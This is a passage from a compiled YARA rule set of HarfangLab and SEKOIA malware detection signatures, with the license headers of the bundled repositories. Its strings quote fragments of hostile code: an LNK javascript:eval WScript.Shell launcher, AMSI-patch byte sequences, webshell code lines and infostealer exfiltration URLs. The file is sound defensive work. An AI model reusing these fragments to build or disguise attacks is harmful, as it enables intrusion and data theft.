		id = "0cca485c-7941-5760-8c24-d993dcbf376d"
		date = "2024-01-24"
		modified = "2026-01-29"
		reference = "TRR240101;https://cert.gov.ua/article/6276894"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L1-L16"
		license_url = "N/A"
		hash = "628bc9f4aa71a015ec415d5d7d8cb168359886a231e17ecac2e5664760ee8eba"
		logic_hash = "d131372c6ad01ae77e5630bae0c0a04ce311718eb1bcf423e6575f3b0ecdba5d"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$s1 = "<link rel=\"stylesheet\" href=\"a.css\">" ascii wide fullword
		$s2 = "src=\".\\Capture" ascii wide
	condition:
		filesize > 600 and filesize < 5KB and ( all of them )
}

rule HARFANGLAB_Masepie_Campaign_Masepie : FILE
{
	meta:
		description = "Detect MASEPIE from CERT-UA#8399"
		author = "HarfangLab"
		id = "f0a034fa-38d4-5c54-b865-f830f85e245e"
		date = "2024-01-24"
		modified = "2026-01-29"
		reference = "TRR240101;https://cert.gov.ua/article/6276894"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L40-L60"
		license_url = "N/A"
		hash = "18f891a3737bb53cd1ab451e2140654a376a43b2d75f6695f3133d47a41952b6"
		logic_hash = "02da8119267978e63e3ee5ecdefb52285718f8875ec64d320f2752460c05588d"
		score = 75
		quality = 78
		tags = "FILE"
		context = "file"
	strings:
		$t1 = "Try it againg" ascii wide fullword
		$t2 = "{user}{SEPARATOR}{k}" ascii wide fullword
		$t3 = "Error transporting file" ascii wide fullword
		$t4 = "check-ok" ascii wide fullword
		$a1 = ".join(random.SystemRandom().choice(string.ascii_letters + string.digits) for _ in range(16))" ascii wide fullword
		$a2 = "dec_file_mes(mes, key)" ascii wide fullword
		$a3 = "os.popen('whoami').read()" ascii wide fullword
	condition:
		filesize > 2KB and filesize < 15MB and ( 4 of them )
}

rule HARFANGLAB_Charmingkitten_Cyclops : FILE
{
	meta:
		description = "Detects Cyclops Golang Malware"
		author = "HarfangLab"
		id = "2cc7b2ff-25ca-5eac-a607-c3ee5136e0aa"
		date = "2024-08-05"
		modified = "2026-01-29"
		reference = "TRR240801"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L411-L431"
		license_url = "N/A"
		hash = "fafa68e626f1b789261c4dd7fae692756cf71881c7273260af26ca051a094a69"
		logic_hash = "70ab3f44b6889d478a94dc6aefcd30f0e82e0b80bcf26921167b72f35bdb7fa8"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$go = " Go build ID: \"" ascii
		$a1 = "dep\tback-service\t(devel)" ascii fullword
		$a2 = "/brain-loader-enc.go\x00" ascii
		$a3 = "back-service/go-mux/api" ascii
		$a4 = "/JD-M42KItJncJfqb38qh/" ascii
	condition:
		filesize > 2MB and filesize < 20MB and ( uint16( 0 ) == 0x5A4D ) and $go and ( 2 of ( $a* ) )
}

rule HARFANGLAB_Samecoin_Campaign_Loader : FILE
{
	meta:
		description = "Matches the loader used in the SameCoin campaign"
		author = "HarfangLab"
		id = "ab4d59f6-300d-5cdf-b91f-87f8cc1f0eac"
		date = "2024-02-13"
		modified = "2026-01-29"
		reference = "TRR240201"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L432-L452"
		license_url = "N/A"
		hash = "cff976d15ba6c14c501150c63b69e6c06971c07f8fa048a9974ecf68ab88a5b6"
		logic_hash = "7df04ab208d2caa5a137b1c3481ef734df54bbe8330979f524b16e9ba8cf48d5"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$hebrew_layout = "0000040d" fullword ascii
		$runas = "runas" fullword ascii
		$jpg_magic = { FF D8 FF E0 00 10 4A 46 49 46 00 01 }
		$wl_1 = "C:\\Users\\Public\\Microsoft Connection Agent.jpg" ascii
		$wl_2 = "C:\\Users\\Public\\Video.mp4" ascii
		$wl_3 = "C:\\Users\\Public\\Microsoft System Agent.exe" ascii
		$wl_4 = "C:\\Users\\Public\\Microsoft System Manager.exe" ascii
		$wl_5 = "C:\\Users\\Public\\Windows Defender Agent.exe"
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 5MB and filesize < 7MB and $hebrew_layout and $runas and $jpg_magic and 3 of ( $wl_* )
}

rule HARFANGLAB_Samecoin_Campaign_Wiper : FILE
{
	meta:
		description = "Matches the wiper used in the SameCoin campaign"
		author = "HarfangLab"
		id = "695e9181-cc96-5212-b33c-4d55065b7b85"
		date = "2024-02-13"
		modified = "2026-01-29"
		reference = "TRR240201"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L453-L471"
		license_url = "N/A"
		hash = "e6d2f43622e3ecdce80939eec9fffb47e6eb7fc0b9aa036e9e4e07d7360f2b89"
		logic_hash = "ebe7c90398464ecf74ede17551c2ebc58b851ba6502092320934d1f5353581a2"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$code = { 68 57 04 00 00 50 E8 }
		$wl_1 = "C:\\Users\\Public\\Microsoft Connection Agent.jpg" ascii
		$wl_2 = "C:\\Users\\Public\\Video.mp4" ascii
		$wl_3 = "C:\\Users\\Public\\Microsoft System Agent.exe" ascii
		$wl_4 = "C:\\Users\\Public\\Microsoft System Manager.exe" ascii
		$wl_5 = "C:\\Users\\Public\\Windows Defender Agent.exe" ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize < 200KB and $code and 3 of ( $wl_* )
}

rule HARFANGLAB_Samecoin_Campaign_Nativewiper : FILE
{
	meta:
		description = "Matches the native Android library used in the SameCoin campaign"
		author = "HarfangLab"
		id = "9c77c26e-50f7-5ee4-bc6b-c0333e268b2c"
		date = "2024-02-13"
		modified = "2026-01-29"
		reference = "TRR240201"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L510-L530"
		license_url = "N/A"
		hash = "248054658277e6971eb0b29e2f44d7c3c8d7c5abc7eafd16a3df6c4ca555e817"
		logic_hash = "2779664830df3b5be72b7fe7d4da3d27e2a86b289ee3974596abf1df12317cd8"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$native_export = "Java_com_example_exampleone_MainActivity_deleteInCHunks" ascii
		$f1 = "_Z9chunkMainv" ascii
		$f2 = "_Z18deleteFilesInChunkRKNSt6__" ascii
		$f3 = "_Z18overwriteWithZerosPKc" ascii
		$s1 = "/storage/emulated/0/" ascii
		$s2 = "FileLister" ascii
		$s3 = "Directory chunks deleted."
		$s4 = "Current Chunk Size is:  %dl\n" ascii
	condition:
		filesize < 500KB and uint32( 0 ) == 0x464C457F and ( $native_export or all of ( $f* ) or all of ( $s* ) )
}

rule HARFANGLAB_Supposed_Grasshopper_Downloader : FILE
{
	meta:
		description = "Detects the Nim downloader from the Supposed Grasshopper campaign."
		author = "HarfangLab"
		id = "e53656b5-a1be-53f0-a4d4-908f24e08bd6"
		date = "2024-06-20"
		modified = "2026-01-29"
		reference = "TRR240601"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L531-L546"
		license_url = "N/A"
		logic_hash = "93509319ab8028b0215fcfb81d1ff5d3d810922999f1dd8359b706a965221b2f"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file,memory"
	strings:
		$pdb_path = "C:\\Users\\or\\Desktop\\nim-" ascii
		$code = "helo.nim" ascii
		$function_1 = "DownloadExecute" ascii fullword
		$function_2 = "toByteSeq" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and all of them
}

rule HARFANGLAB_Donut_Shellcode : FILE
{
	meta:
		description = "Detects Donut shellcode in memory."
		author = "HarfangLab"
		id = "54facb12-3f33-5430-b4bf-0d223dc2a413"
		date = "2024-06-20"
		modified = "2026-01-29"
		reference = "TRR240601"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L547-L595"
		license_url = "N/A"
		logic_hash = "1bf4e253195e39cc0b3cf45797c35a9f06078350aa35e65d9d36adbcc09a150b"
		score = 75
		quality = 80
		tags = "FILE"
		context = "memory"
	strings:
		$amsi_patch = { 48 8B 44 24 (28 | 30) 83 20 00 33 C0 C3 }
		$wldp_patch = { 41 C7 00 01 00 00 00 33 C0 C3 }
		$api_hashing = { 8B C2 C1 C9 08 41 03 C8 8B D3 41 33 C9 C1 CA 08 41 03 D1 41 C1 C0 03 41 33 D2 41 C1 C1 03 44 33 CA 44 33 C1 41 FF C2 41 8B DB 44 8B D8 41 83 FA 1B }
		$loaded_dlls = "ole32;oleaut32;wininet;mscoree;shell32" ascii
		$function_1 = "WldpQueryDynamicCodeTrust" ascii
		$function_2 = "WldpIsClassInApprovedList" ascii
		$function_3 = "AmsiInitialize" ascii
		$function_4 = "AmsiScanBuffer" ascii
		$function_5 = "AmsiScanString" ascii
	condition:
		uint8( 0 ) == 0xE8 and ( ( #amsi_patch > 1 and $wldp_patch and $api_hashing ) or ( $loaded_dlls and all of ( $function_* ) ) )
}

rule HARFANGLAB_Xdspy_Etdownloader : FILE
{
	meta:
		description = "Matches XDSpy 1st stage ET Downloader malware"
		author = "HarfangLab"
		id = "b335d868-7904-5270-a55e-c1445f0c4c9c"
		date = "2025-05-16"
		modified = "2026-01-29"
		reference = "https://github.com/HarfangLab/iocs"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L649-L682"
		license_url = "N/A"
		hash = "792c5a2628ec1be86e38b0a73a44c1a9247572453555e7996bb9d0a58e37b62b"
		logic_hash = "050bf26c5665c68055f1f31b4cdce40fb8c6d2b9d8e08925e684cf70e80eb2dd"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$dotNet = ".NETFramework,Version=" ascii
		$s1 = "$fcca44e8-9635-4cd7-974b-e86e6bce12cd" ascii fullword
		$s2 = "/startup" wide fullword
		$s3 = "ExportTests.dll" ascii wide fullword
		$s4 = "+<PayloadDownload>d__" ascii
		$s5 = "+<PayloadDownloadExecution>d__" ascii
		$f1 = "HttpWebResponse" ascii fullword
		$f2 = "set_UseShellExecute" ascii fullword
		$f3 = "set_CreateNoWindow" ascii fullword
		$f4 = "FromBase64String" ascii fullword
		$f5 = "set_ServerCertificateValidationCallback" ascii fullword
		$f6 = "AsyncTaskMethodBuilder" ascii fullword
		$f7 = "rangeDecoder" ascii fullword
		$f8 = "NumBitLevels" ascii fullword
		$f9 = "GetCallingAssembly" ascii fullword
		$f10 = "BlockCopy" ascii fullword
		$f11 = "MemoryStream" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 20KB and filesize < 120KB and $dotNet and ( ( ( 2 of ( $s* ) ) and ( 3 of ( $f* ) ) ) or ( all of ( $f* ) ) )
}

rule HARFANGLAB_Xdspy_Xdigo : FILE
{
	meta:
		description = "Rule to catch XDSpy Main module, written in golang"
		author = "HarfangLab"
		id = "d7df9c81-c237-5ee9-a368-fb8a90ac1889"
		date = "2025-05-16"
		modified = "2026-01-29"
		reference = "https://github.com/HarfangLab/iocs"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L683-L710"
		license_url = "N/A"
		hash = "49714e2a0eb4d16882654fd60304e6fa8bfcf9dbd9cd272df4e003f68c865341"
		hash = "0d983f5fb403b500ec48f13a951548d5a10572fde207cf3f976b9daefb660f7e"
		hash = "3adeda2a154dcf017ffed634fba593f80df496eb2be4bee0940767c8631be7c1"
		logic_hash = "3d98768a15eda41b156355919d9876c3f4a9cf1f4a2207ad3e3a391255960438"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$a1 = "main.oooo_" ascii
		$b1 = "anti.go" ascii fullword
		$b2 = "crypto.go" ascii fullword
		$b3 = "file.go" ascii fullword
		$b4 = "main.go" ascii fullword
		$b5 = "net.go" ascii fullword
		$b6 = "log.go" ascii fullword
		$b7 = "settings.go" ascii fullword
		$b8 = "screenshot_windows.go" ascii fullword
		$c1 = "passwords.go" ascii fullword
		$c2 = "keylog.go" ascii fullword
	condition:
		uint16( 0 ) == 0x5a4d and filesize > 1MB and filesize < 15MB and #a1 > 100 and ( any of ( $c* ) or all of ( $b* ) )
}


rule HARFANGLAB_Gamaredon_Pterolnk_Vbscript : FILE
{
	meta:
		description = "Matches Gamaredon PteroLNK VBScript samples used in late 2024 to early 2025"
		author = "HarfangLab"
		id = "3781749e-7f4e-55db-bdf7-2a0a056f41f4"
		date = "2025-04-04"
		modified = "2026-01-29"
		reference = "TRR250401"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L851-L870"
		license_url = "N/A"
		hash = "d5538812b9a41b90fb9e7d83f2970f947b1e92cb68085e6d896b97ce8ebff705"
		logic_hash = "b6aad0ca4653c111a4f481f9d4636e272712dc7ad53fa3b2041f2c47a1eee527"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$vbs = "on error resume next" ascii wide
		$a1 = "=\"b24gZXJyb3IgcmVzdW1lIG5leHQNC" ascii wide
		$b1 = "\"\"%PUBLIC%\"\"" ascii wide
		$b2 = "\"\"%APPDATA%\"\"" ascii wide
		$b3 = "\"\"REG_DWORD\"\"" ascii wide
	condition:
		filesize < 400KB and $vbs in ( 0 .. 2 ) and $a1 and 1 of ( $b* )
}

rule HARFANGLAB_Gamaredon_Pterolnk_LNK : FILE
{
	meta:
		description = "Matches Gamaredon PteroLNK-generated LNK files used in late 2024 to early 2025"
		author = "HarfangLab"
		id = "e6e0c2cb-049a-5d80-b167-56079aefe38b"
		date = "2025-04-04"
		modified = "2026-01-29"
		reference = "TRR250401"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L871-L889"
		license_url = "N/A"
		hash = "n/a"
		logic_hash = "69565365da1632407e223f87978a91543b1281879aa372cd055d08e26e1a2d93"
		score = 75
		quality = 78
		tags = "FILE"
		context = "file"
	strings:
		$a1 = "javascript:eval('w=new%20ActiveXObject(\\\"\"WScript.Shell\\\"\");w.run(\\\"\"wscript.exe //e:vb\"\"+\"\"Script" ascii wide
		$a2 = "javascript:eval('w=new%20ActiveXObject(\\\"\"WScript.Shell\\\"\");w.run(\\\"\"explorer" ascii wide
		$b1 = "\"\");window.close()')" ascii wide nocase
	condition:
		filesize < 10KB and uint32( 0 ) == 0x0000004C and uint32( 4 ) == 0x00021401 and 1 of ( $a* ) and $b1
}

rule HARFANGLAB_Gamaredon_Pterolnk_Vbscript_Update2506 : FILE
{
	meta:
		description = "Matches Gamaredon PteroLNK VBScript samples used in 2025"
		author = "HarfangLab"
		id = "e1feefb6-7070-53b0-98e7-4a3d784ee014"
		date = "2025-06-23"
		modified = "2026-01-29"
		reference = "TRR250401;TRR250401_update2506"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L890-L916"
		license_url = "N/A"
		hash = "d5538812b9a41b90fb9e7d83f2970f947b1e92cb68085e6d896b97ce8ebff705"
		hash = "4787fe23a4ba66137e41d6caa877251092a7f4957ccd89ed374b71aa6f6e2037"
		logic_hash = "e754fcdd1de5d00972f1c8352b61701f833f28bfa38e54234b3c2ced59b7f491"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$vbs = "on error resume next" ascii wide
		$a1 = "b24gZXJyb3IgcmVzdW1lIG5leHQNC" ascii wide
		$b1 = "\"\"%PUBLIC%\"\"" ascii wide
		$b2 = "\"\"%APPDATA%\"\"" ascii wide
		$b3 = "\"\"REG_DWORD\"\"" ascii wide
		$b4 = "\"\"%USERPROFILE%\"\"" ascii wide
		$c1 = "\"\":SRV\"\"" ascii wide
		$c2 = "\"\":GTR\"\"" ascii wide
		$c3 = "\"\":LNK\"\"" ascii wide
		$c4 = "\"\":URLS\"\"" ascii wide
		$c5 = "\"\":IPS\"\"" ascii wide
	condition:
		filesize < 600KB and $vbs in ( 0 .. 500 ) and $a1 and ( any of ( $b* ) or any of ( $c* ) )
}

rule HARFANGLAB_Apt31_Rawdoor_Dropper : FILE
{
	meta:
		description = "Matches the RawDoor dropper"
		author = "HarfangLab"
		id = "b278a157-20e2-5271-aca0-0692929b881d"
		date = "2024-04-12"
		modified = "2026-01-29"
		reference = "TRR240401"
		source_url = "https://github.com/HarfangLab/iocs/blob/278c38e11e99d35af836cb9140e0857fd9226574/hl_public_reports_master.yar#L917-L938"
		license_url = "N/A"
		hash = "c3056e39f894ff73bba528faac04a1fc86deeec57641ad882000d7d40e5874be"
		logic_hash = "d0cbe02c4fafb4895bd0126d2496802a3fee6a0362e55bfa91cfd1c75043d94a"
		score = 75
		quality = 80
		tags = "FILE"
		context = "file"
	strings:
		$service_target = "%SystemRoot%\\system32\\svchost.exe -k netsvcs" ascii
		$service_dispname = "Microsoft .NET Framework NGEN" ascii
		$drop_name = "~DF313.msi" ascii
		$msg1 = "RegOpenKeyEx %s  error:%d\x0D\x0A" ascii
		$msg2 = "RegDeleteValue Wow64 . %d\x0D\x0A" ascii
		$msg3 = "CreateService %s success! but Start Faile.. %d\x0D\x0A" ascii
		$msg4 = "OutResFile to %s%s False!" ascii
		$msg5 = "Can't GetNetSvcs Buffer!" ascii
	condition:
		uint16( 0 ) == 0x5A4D and filesize > 350KB and filesize < 600KB and ( ( $service_target and $service_dispname and $drop_name ) or 3 of ( $msg* ) )
}

/*
 * YARA Rule Set
 * Repository Name: LOLDrivers
 * Repository: https://github.com/magicsword-io/LOLDrivers/
 * Retrieval Date: 2026-03-15
 * Git Commit: 414b4b356946b0127cc9ec25b9de2a276edfed3d
 * Number of Rules: 32
 * Skipped: 0 (age), 0 (quality), 537 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 *                                  Apache License
                           Version 2.0, January 2004
                        http://www.apache.org/licenses/

   TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION

   1. Definitions.

      "License" shall mean the terms and conditions for use, reproduction,
      and distribution as defined by Sections 1 through 9 of this document.

      "Licensor" shall mean the copyright owner or entity authorized by
      the copyright owner that is granting the License.

      "Legal Entity" shall mean the union of the acting entity and all
      other entities that control, are controlled by, or are under common
      control with that entity. For the purposes of this definition,
      "control" means (i) the power, direct or indirect, to cause the
      direction or management of such entity, whether by contract or
      otherwise, or (ii) ownership of fifty percent (50%) or more of the
      outstanding shares, or (iii) beneficial ownership of such entity.

      "You" (or "Your") shall mean an individual or Legal Entity
      exercising permissions granted by this License.

      "Source" form shall mean the preferred form for making modifications,
      including but not limited to software source code, documentation
      source, and configuration files.

      "Object" form shall mean any form resulting from mechanical
      transformation or translation of a Source form, including but
      not limited to compiled object code, generated documentation,
      and conversions to other media types.

      "Work" shall mean the work of authorship, whether in Source or
      Object form, made available under the License, as indicated by a
      copyright notice that is included in or attached to the work
      (an example is provided in the Appendix below).

      "Derivative Works" shall mean any work, whether in Source or Object
      form, that is based on (or derived from) the Work and for which the
      editorial revisions, annotations, elaborations, or other modifications
      represent, as a whole, an original work of authorship. For the purposes
      of this License, Derivative Works shall not include works that remain
      separable from, or merely link (or bind by name) to the interfaces of,
      the Work and Derivative Works thereof.

      "Contribution" shall mean any work of authorship, including
      the original version of the Work and any modifications or additions
      to that Work or Derivative Works thereof, that is intentionally
      submitted to Licensor for inclusion in the Work by the copyright owner
      or by an individual or Legal Entity authorized to submit on behalf of
      the copyright owner. For the purposes of this definition, "submitted"
      means any form of electronic, verbal, or written communication sent
      to the Licensor or its representatives, including but not limited to
      communication on electronic mailing lists, source code control systems,
      and issue tracking systems that are managed by, or on behalf of, the
      Licensor for the purpose of discussing and improving the Work, but
      excluding communication that is conspicuously marked or otherwise
      designated in writing by the copyright owner as "Not a Contribution."

      "Contributor" shall mean Licensor and any individual or Legal Entity
      on behalf of whom a Contribution has been received by Licensor and
      subsequently incorporated within the Work.

   2. Grant of Copyright License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      copyright license to reproduce, prepare Derivative Works of,
      publicly display, publicly perform, sublicense, and distribute the
      Work and such Derivative Works in Source or Object form.

   3. Grant of Patent License. Subject to the terms and conditions of
      this License, each Contributor hereby grants to You a perpetual,
      worldwide, non-exclusive, no-charge, royalty-free, irrevocable
      (except as stated in this section) patent license to make, have made,
      use, offer to sell, sell, import, and otherwise transfer the Work,
      where such license applies only to those patent claims licensable
      by such Contributor that are necessarily infringed by their
      Contribution(s) alone or by combination of their Contribution(s)
      with the Work to which such Contribution(s) was submitted. If You
      institute patent litigation against any entity (including a
      cross-claim or counterclaim in a lawsuit) alleging that the Work
      or a Contribution incorporated within the Work constitutes direct
      or contributory patent infringement, then any patent licenses
      granted to You under this License for that Work shall terminate
      as of the date such litigation is filed.

   4. Redistribution. You may reproduce and distribute copies of the
      Work or Derivative Works thereof in any medium, with or without
      modifications, and in Source or Object form, provided that You
      meet the following conditions:

      (a) You must give any other recipients of the Work or
          Derivative Works a copy of this License; and

      (b) You must cause any modified files to carry prominent notices
          stating that You changed the files; and

      (c) You must retain, in the Source form of any Derivative Works
          that You distribute, all copyright, patent, trademark, and
          attribution notices from the Source form of the Work,
          excluding those notices that do not pertain to any part of
          the Derivative Works; and

      (d) If the Work includes a "NOTICE" text file as part of its
          distribution, then any Derivative Works that You distribute must
          include a readable copy of the attribution notices contained
          within such NOTICE file, excluding those notices that do not
          pertain to any part of the Derivative Works, in at least one
          of the following places: within a NOTICE text file distributed
          as part of the Derivative Works; within the Source form or
          documentation, if provided along with the Derivative Works; or,
          within a display generated by the Derivative Works, if and
          wherever such third-party notices normally appear. The contents
          of the NOTICE file are for informational purposes only and
          do not modify the License. You may add Your own attribution
          notices within Derivative Works that You distribute, alongside
          or as an addendum to the NOTICE text from the Work, provided
          that such additional attribution notices cannot be construed
          as modifying the License.

      You may add Your own copyright statement to Your modifications and
      may provide additional or different license terms and conditions
      for use, reproduction, or distribution of Your modifications, or
      for any such Derivative Works as a whole, provided Your use,
      reproduction, and distribution of the Work otherwise complies with
      the conditions stated in this License.

   5. Submission of Contributions. Unless You explicitly state otherwise,
      any Contribution intentionally submitted for inclusion in the Work
      by You to the Licensor shall be under the terms and conditions of
      this License, without any additional terms or conditions.
      Notwithstanding the above, nothing herein shall supersede or modify
      the terms of any separate license agreement you may have executed
      with Licensor regarding such Contributions.

   6. Trademarks. This License does not grant permission to use the trade
      names, trademarks, service marks, or product names of the Licensor,
      except as required for reasonable and customary use in describing the
      origin of the Work and reproducing the content of the NOTICE file.

   7. Disclaimer of Warranty. Unless required by applicable law or
      agreed to in writing, Licensor provides the Work (and each
      Contributor provides its Contributions) on an "AS IS" BASIS,
      WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
      implied, including, without limitation, any warranties or conditions
      of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
      PARTICULAR PURPOSE. You are solely responsible for determining the
      appropriateness of using or redistributing the Work and assume any
      risks associated with Your exercise of permissions under this License.

   8. Limitation of Liability. In no event and under no legal theory,
      whether in tort (including negligence), contract, or otherwise,
      unless required by applicable law (such as deliberate and grossly
      negligent acts) or agreed to in writing, shall any Contributor be
      liable to You for damages, including any direct, indirect, special,
      incidental, or consequential damages of any character arising as a
      result of this License or out of the use or inability to use the
      Work (including but not limited to damages for loss of goodwill,
      work stoppage, computer failure or malfunction, or any and all
      other commercial damages or losses), even if such Contributor
      has been advised of the possibility of such damages.

   9. Accepting Warranty or Additional Liability. While redistributing
      the Work or Derivative Works thereof, You may choose to offer,
      and charge a fee for, acceptance of support, warranty, indemnity,
      or other liability obligations and/or rights consistent with this
      License. However, in accepting such obligations, You may act only
      on Your own behalf and on Your sole responsibility, not on behalf
      of any other Contributor, and only if You agree to indemnify,
      defend, and hold each Contributor harmless for any liability
      incurred by, or claims asserted against, such Contributor by reason
      of your accepting any such warranty or additional liability.

   END OF TERMS AND CONDITIONS

   APPENDIX: How to apply the Apache License to your work.

      To apply the Apache License to your work, attach the following
      boilerplate notice, with the fields enclosed by brackets "[]"
      replaced with your own identifying information. (Don't include
      the brackets!)  The text should be enclosed in the appropriate
      comment syntax for the file format. We also recommend that a
      file or class name and description of purpose be included on the
      same "printed page" as the copyright notice for easier
      identification within third-party archives.

   Copyright [yyyy] [name of copyright owner]

   Licensed under the Apache License, Version 2.0 (the "License");
   you may not use this file except in compliance with the License.
   You may obtain a copy of the License at

       http://www.apache.org/licenses/LICENSE-2.0

   Unless required by applicable law or agreed to in writing, software
   distributed under the License is distributed on an "AS IS" BASIS,
   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
   See the License for the specific language governing permissions and
   limitations under the License.

 */
/*
 * YARA Rule Set
 * Repository Name: SEKOIA
 * Repository: https://github.com/SEKOIA-IO/Community
 * Retrieval Date: 2026-03-15
 * Git Commit: a599920e60b655ef05924b8557bbf8bac0b343bb
 * Number of Rules: 701
 * Skipped: 0 (age), 41 (quality), 7 (score), 0 (importance)
 *
 * 
 * LICENSE
 * 
 * # Detection Rule License (DRL) 1.1

Permission is hereby granted, free of charge, to any person obtaining a copy of this rule set and associated documentation files (the "Rules"), to deal in the Rules without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Rules, and to permit persons to whom the Rules are furnished to do so, subject to the following conditions:

If you share the Rules (including in modified form), you must retain the following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).

2. a URI or hyperlink to the Rule set or explicit Rule to the extent reasonably practicable

3. indicate the Rules are licensed under this Detection Rule License, and include the text of, or the URI or hyperlink to, this Detection Rule License to the extent reasonably practicable

If you use the Rules (including in modified form) on data, messages based on matches with the Rules must retain the following if it is supplied within the Rules:

1. identification of the authors(s) ("author" field) of the Rule and any others designated to receive attribution, in any reasonable manner requested by the Rule author (including by pseudonym if designated).

THE RULES ARE PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE RULES OR THE USE OR OTHER DEALINGS IN THE RULES.

 */
rule SEKOIA_Infostealer_Win_Stormkitty_Exfil_Urls : FILE
{
	meta:
		description = "Detect the open-source StormKitty spyware by looking for the github path"
		author = "Sekoia.io"
		id = "d3b6e778-85da-4ab6-bc98-921897677485"
		date = "2022-04-20"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/infostealer_win_stormkitty_exfil_urls.yar#L1-L19"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "ccf0efe9ccba8e37bc19fa241e2d7698b1a798a3e8026b1b6930452b8a8ba9b4"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$s1 = "https://github.com/LimerBoy/StormKitty" ascii
		$telegram = "https://api.telegram.org" wide
		$discord = "https://cdn.discordapp.com" wide
	condition:
		uint16( 0 ) == 0x5A4D and all of them and ( #telegram > 3 or #discord > 3 )
}

rule SEKOIA_Tool_Pivotnacci_Webshell : FILE
{
	meta:
		description = "Detects pivotnacci webshell"
		author = "Sekoia.io"
		id = "729b6381-b59d-46fe-9ad4-b8b68fb0ceea"
		date = "2024-04-22"
		modified = "2024-12-19"
		reference = "https://github.com/SEKOIA-IO/Community"
		source_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/yara_rules/tool_pivotnacci_webshell.yar#L1-L23"
		license_url = "https://github.com/SEKOIA-IO/Community/blob/a599920e60b655ef05924b8557bbf8bac0b343bb/LICENSE.md"
		logic_hash = "a57792915b4c888547ebe0b08b928e4bc32b3526c98a3ccc9fca0193cedee20a"
		score = 75
		quality = 80
		tags = "FILE"
		version = "1.0"
		classification = "TLP:CLEAR"
	strings:
		$ = "if (cmd == SEND_OPERATION) {"
		$ = "Response.BinaryWrite(newBuff)"
		$ = "Request.Headers.Get(ID_HEADER)"
		$ = "[$READ_BUFFER_SESSION_KEY . $connection_id]"
		$ = "extract_session_readbuf($conn_id"
		$ = "Failed connecting to target $addr:$port : $errstr"
		$ = "void handle_post(String cmd)"
		$ = "SocketChannel socketChannel = this.get_socket(socket_id"
		$ = "this.get_svc().compareTo(this.get_hostname())"
	condition:
		3 of them and filesize < 10KB
}


rule SEKOIA_Infostealer_Win_Raccoon_Str_Takemypainback : FILE
{
	meta:
		description = "Detect Raccoon based on specific strings"
		author = "Sekoia.io"
		id = "2148636e-47c7-4bf2-8d1e-df68faf65111"
		date = "2022-10-03"
		modified = "2024-12-19"
